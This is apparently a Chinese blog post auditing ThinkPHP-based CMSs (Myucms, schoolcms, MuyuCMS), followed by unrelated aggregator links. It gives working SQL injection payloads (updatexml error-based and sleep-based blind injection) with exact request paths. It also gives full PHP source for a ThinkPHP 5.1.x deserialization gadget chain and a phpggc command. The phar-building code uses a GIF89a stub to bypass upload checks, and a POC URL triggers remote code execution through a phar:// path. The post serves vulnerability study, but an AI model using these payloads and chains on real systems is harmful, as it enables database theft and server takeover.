ThinkPHP审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例

ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例

文章目录

  • ThinkPHP代码审计(1) 不安全的SQL注入&PHP反序列化链子phar利用&简单的CMS审计实例
  • 一.Thinkphp5不安全的SQL写法
  • 二.Thinkphp3 SQL注入
  • 三.Thinkphp链5.1.x结合phar实现RCE
    • 1.自动生成
    • 2.手动构造
    • 实例分析

一.Thinkphp5不安全的SQL写法

Thinkphp官方提供了SQL接口,已经为SQL语句进行了预编译

但是不安全的写法,仍然可以造成SQL注入

https://www.kancloud.cn/manual/thinkphp5/135176

image-20240401193819525

//官方写法

public function login(Request $request)

{

​	//index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

​    $id=$request->param('id');

​    $data=Db::table('cw_admin')->where('id',$id)->find();//以数组形式传递

​    return $data['user'].'|'.$data['pass'];

}

​ 这里的SQL语句,相等于直接进行SQL语句拼接

//不安全写法

public function login1(Request $request)

{

​    //index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23

​    $id=$request->param('id');

​    $data=Db::table('cw_admin')->where("id = $id")->find();//直接进行赋值

​    return $data['user'].'|'.$data['pass'];

}

比如Myucms 2021版 中 前台SQL 注入

image-20240401195437179

可以判断是基于Thinkphp 5.0.24二开的

我们暂时忽略后台SQL,没有实战意义

image-20240401194347564

可以发现在application/bbs/controller/User.php

前台bbs可能存在 SQL注入

    public function xiaoxidel($ids)
    {
        if (!session('userid') || !session('username')) {
            $this->error('亲!请登录',url('bbs/login/index'));
        } else {
        	if ($ids==0) {
        	$id = input('id');
        	$data['open'] = 1;
			if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {
				return json(array('code' => 200, 'msg' => '标记已读成功'));
			} else {
				return json(array('code' => 0, 'msg' => '标记已读失败'));
			}
        	}elseif ($ids==1){
        	$id = input('id');
			if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
				return json(array('code' => 200, 'msg' => '彻底删除成功'));
			} else {
				return json(array('code' => 0, 'msg' => '彻底删除失败'));
			}
        	}
        }
    }

image-20240401194642137

在功能点处 xiaoxidel为了触发 SQL语句

1.保证登录用户登录状态session

2.ids=0

3.id=payload

可以访问路由/index.php/bbs/User/xiaoxidel 判断功能点存在

image-20240401195035273

/index.php/bbs/User/xiaoxidel/ids/0/id/1 and updatexml(1,concat("~",user(),"~"),1)可以判断确实存在SQL注入

image-20240401195237890

也可以黑盒测试一下 也存在SQL注入

image-20240401200109110

二.Thinkphp3 SQL注入

原理分析:https://www.freebuf.com/articles/web/345544.html

schoolcms也是基于MVC-thinkphp框架实现二开

https://github.com/gongfuxiang/schoolcms

image-20240401202321016

基于 Thinkphp 3.2

顺便访问一下网站

注意路由访问方式index.php?m=Home&c=Article&a=Index&id=1

Application/Admin/Controller/ArticleController.class.php

SaveInfo功能

这里直接拼接可控变量到查询语句中

image-20240401204855791

判断功能点存在 index.php?m=Admin&c=Article&a=SaveInfo

测试了一下爆错,没有数据回显

测下 时间盲注index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=1 and sleep(3) %23

image-20240401210226126

可以判断存在SQL时间盲注

三.Thinkphp链5.1.x结合phar实现RCE

thinkphp 5.0.x思路类似

渗透实战中,往往使用phpggc实现快速利用

image-20240405182301081

结合已知的phpggc小工具利用链+文件上传功能phar文件

常见触发 phar 关键函数 (和文件流相关操作有关) 实现隐式反序列化

image-20240401211202391

原理:

Phar文件结构
phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分

1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾

当通过phar伪协议访问 phar文件时会自动反序列化 属性

等价于实现了 unserialize(phar的属性)

常用

file_exists(),is_dir(),fopen(),file_get_contents(),file()等文件操作的函数

image-20240401210709920

1.自动生成

./phpggc -s ThinkPHP/RCE1 system calc -pj Cat03.jpg -o cat.jpg

image-20240401221232559

现在只要有上传点+phar就可以实现RCE了

2.手动构造

结合gadgets.php

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get($system)
        {
            $this->data = array("smi1e" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

在chain.php中

<?php

namespace GadgetChain\ThinkPHP;

class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '5.1.x-5.2.x';
    public static $vector = '__destruct';
    public static $author = 'Smi1e';
    public static $information = '
        This chain can only execute system().
        Because the second parameter is uncontrollable
    ';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];
        $Conver = new \think\model\Pivot($parameter);
        return new \think\process\pipes\Windows($Conver);
    }
}

定义namespace命名空间

return回来的数据就是序列化的数据

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    $phar = new Phar('x.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

phar签名添加GIF89a绕过图片类型检测

实例分析

以MuyuCMS木鱼cms审计为例子

存在后台图片上传+phar实getshell的效果

https://github.com/MuYuCMS/MuYuCMS

先查看index.php 判断应用入口

image-20240405174053457

判断内置thinkphp版本 5.1.41 可以拿通用的5.1.X反序列化链打

image-20240405174926260

可以全局搜索一些关键函数

file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

比如在application/admin/controller/Update.php存在判断file_exists

image-20240405175423531

public function rmdirr($dirname)
    {
        // Sanity check
        if (!file_exists($dirname)) {
            return false;
        }
        // Simple delete for a file
        if (is_file($dirname) || is_link($dirname)) {
            return unlink($dirname);
        }
        // Loop through the folder
        $dir = dir($dirname);
        while (false !== $entry = $dir->read()) {
            // Skip pointers
            if ($entry == '.' || $entry == '..') {
                continue;
            }
    		if($entry == 'mdata'){
    			continue;
    		}
            // Recurse
            $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);
        }
        // Clean up
        $dir->close();
        return rmdir($dirname);
    }
  1. 目标函数名是 rmdirr
  2. 没有判断需要绕过
  3. 可控dirname的值
application/admin/controller/Update.php
对应的路由

host/admin.php/update/rmdir.html?dirname=phar://

image-20240405175831128

可以在内容上传处存在 尝试上传 phpgcc一把梭的文件

image-20240405180731943

发现对 文件头做了过滤,但是我们可以手工生成一下phar链

弹出一个计算器就算成功

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");

        public function get()
        {
            $this->data = array("smi1e" => "calc");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);


    $phar = new Phar('x.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

修改phar后缀为jpg文件后缀

可以成功上传phar文件

image-20240405181519940

/public/upload/images/660fcf186ab58.jpg

POC

http://127.0.0.13//admin.php/update/rmdirr?dirname=phar://.//public/upload/images/660fcf186ab58.jpg

image-20240405182021357

可以实现攻击

下篇文章结合thinkphp5.x的原理实现做几道最近的CTF题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/525651.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

TouchGFX之容器

容器是TouchGFX中的一种组件&#xff0c;可以包含子节点&#xff08;比如控件和其他容器&#xff09;。 在TouchGFX Designer中&#xff0c;可以在Widgets&#xff08;控件&#xff09;选项卡中的containers&#xff08;容器&#xff09;类别下找到容器&#xff0c;向容器中添…

正大国际:国内做外盘qi货的人多吗?

整个中国&#xff0c;期货也就五百万个账户&#xff0c;活跃的也就两百万个&#xff0c;股票账户三亿多个 所以说在国内做期货的是真的少&#xff0c;大部分人聊天知道股票&#xff0c;期货听都没听过 这所有的国内期货账户中&#xff0c;小散户是寥寥无几的&#xff0c;基本…

content warning内容警告中文汉化快捷教程分享

content warning(内容警告)是近期steam上非常受欢迎的一款恐怖题材多人联机游戏,自4月1日上线后,一直保持较高的玩家人数,steam好评率也稳定维持在93%,可以说是4月初发售游戏中的最大黑马。本作首发虽然支持中文,不过游戏内的中文阅读体验并不完整,经常会出现中英文字幕混杂等情…

IoTeX的旅程并非孤军奋战

自2017年起&#xff0c;IoTeX便作为一个雄心勃勃的开源项目&#xff0c;踏上了一条为机器打造开放经济的道路。这个宏伟的目标背后&#xff0c;是一个去中心化的平台愿景&#xff0c;一个能够让人类和机器在有保障的信任、自由意志及精心设计的经济激励下相互协作的开放生态系统…

前端学习<四>JavaScript基础——10-运算符

我们在前面讲过变量&#xff0c;本文讲一下运算符和表达式。 运算符的定义和分类 运算符的定义 运算符&#xff1a;也叫操作符&#xff0c;是一种符号。通过运算符可以对一个或多个值进行运算&#xff0c;并获取运算结果。 表达式&#xff1a;数字、运算符、变量的组合&…

华为 2024 届校园招聘-硬件通⽤/单板开发——第十套

华为 2024 届校园招聘-硬件通⽤/单板开发——第十套 部分题目分享&#xff0c;完整版带答案&#xff08;共十套&#xff09;获取&#xff08;WX:didadidadidida313&#xff0c;加我备注&#xff1a;CSDN huawei硬件单板题目&#xff0c;谢绝白嫖哈&#xff09; 1、I2 C 总线…

代码随想录算法训练营Day14|二叉树理论基础和递归遍历

代码随想录卡哥视频 理论基础 需要了解 二叉树的种类&#xff0c;存储方式&#xff0c;遍历方式 以及二叉树的定义 文章讲解&#xff1a;代码随想录 递归遍历 &#xff08;必须掌握&#xff09; 二叉树的三种递归遍历掌握其规律后&#xff0c;其实很简单 题目链接/文章讲解/…

如何制作软件安装包第二步

目录 0.文章目的1.第二次打开发现之前生成的2.重新引导引入文件--制作安装包3.输入安装包基本信息4.确认安装路径5.选择制作完成的exe执行文件6.加入jre运行环境--这步很重要&#xff0c;否则项目运行不起来7.填写安装包名称8.添加版权信息文件&#xff08;可选操作&#xff09…

android-自定义TextView在文字内容末尾添加图片icon、可以添加间距

样式示意图 自定义属性 style.xml <declare-styleable name"IconLabelTextView"><attr name"iconSrc" format"reference"/><attr name"iconPaddingStart" format"dimension"/><attr name"iconPad…

PKI:构建数字安全基石的关键技术

在数字化时代&#xff0c;网络安全已成为我们日常生活和工作的重要组成部分。为了确保数据的完整性、机密性和身份的真实性&#xff0c;公钥基础设施&#xff08;Public Key Infrastructure&#xff0c;简称PKI&#xff09;技术应运而生&#xff0c;为构建数字安全基石提供了重…

无人机控制框架的设计

无人机控制框架的设计主要包括以下几个模块&#xff1a;传感器模块、控制模块、通信模块和执行器模块。 传感器模块&#xff1a;负责获取无人机当前的状态信息&#xff0c;包括位置、姿态、速度等。常用的传感器包括GPS、陀螺仪、加速度计、气压计等。 控制模块&#xff1a;根…

Mysql底层原理二:Buffer Pool

1.数据区 就是描述信息缓存页这块&#xff0c;用来存放从磁盘加载的数据页&#xff08;看上图 索引页和数据页是分开的&#xff09; 2. free链表 用来标识数据区哪些数据页是可用的 3. flush链表 update的时候&#xff0c;如果数据在数据区可以找到&#xff0c;那就直接内…

Novel Influence Maximization Algorithm for Social Network Behavior Management

Abstract: 通过影响力最大化的过程来识别对社交网络中的产品采用或信息利用做出重大贡献的用户。社交网络的指数增长给这些网络的分析带来了一些挑战。现有文献非常重视对结构属性进行建模&#xff0c;而忽略了用户与其社会行为之间的关系。对于社会行为&#xff0c;本文将影响…

基于Java+SpringBoot+vue3+uniapp点餐/外卖管理系统设计与实现

博主介绍&#xff1a;✌全网粉丝5W&#xff0c;全栈开发工程师&#xff0c;从事多年软件开发&#xff0c;在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战&#xff0c;博主也曾写过优秀论文&#xff0c;查重率极低&#xff0c;在这方面有丰富的经验…

第九届蓝桥杯大赛个人赛省赛(软件类)真题C 语言 A 组-航班时间

#include<iostream> using namespace std;int getTime(){int h1, h2, m1, m2, s1, s2, d 0;//d一定初始化为0&#xff0c;以正确处理不跨天的情况 scanf("%d:%d:%d %d:%d:%d (%d)", &h1, &m1, &s1, &h2, &m2, &s2, &d);return d …

使用高德微信小程序插件实现精准获取打卡位置

由于微信小程序的 getFuzzyLocation 误差太大 不得不改用高德微信sdk 使用方法&#xff1a; 一、下载 sdk 相关下载-微信小程序插件 | 高德地图API 二、引入 sdk //引入 var amapFile require(../../libs/amap-wx.js); Page({onLoad: function() {var that this;va…

基于springboot+vue+Mysql的滴答拍摄影项目

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

组合数(费马小定理, 快速幂)

给定 n 组询问&#xff0c;每组询问给定两个整数 a&#xff0c;b&#xff0c;请你输出 Cbamod(1097)的值。 输入格式 第一行包含整数 n。 接下来 n 行&#xff0c;每行包含一组 a 和 b。 输出格式 共 n 行&#xff0c;每行输出一个询问的解。 数据范围 1≤n≤10000, 1≤…

战争中的AI应用:道德、伦理与技术的交织

AI在战争中的应用是一个极具争议和复杂的话题&#xff0c;无法简单地回答是好还是坏。其影响取决于多个因素&#xff0c;包括使用方式、目的、伦理框架以及技术本身的发展水平。 一方面&#xff0c;AI在战争中具有潜在的积极作用。它可以提高军事行动的效率和精确性&#xff0c…

持续交付工具Argo CD的部署使用

Background CI/CD&#xff08;Continuous Integration/Continuous Deployment&#xff09;是一种软件开发流程&#xff0c;旨在通过自动化和持续集成的方式提高软件交付的效率和质量。它包括持续集成&#xff08;CI&#xff09;和持续部署&#xff08;CD&#xff09;两个主要阶…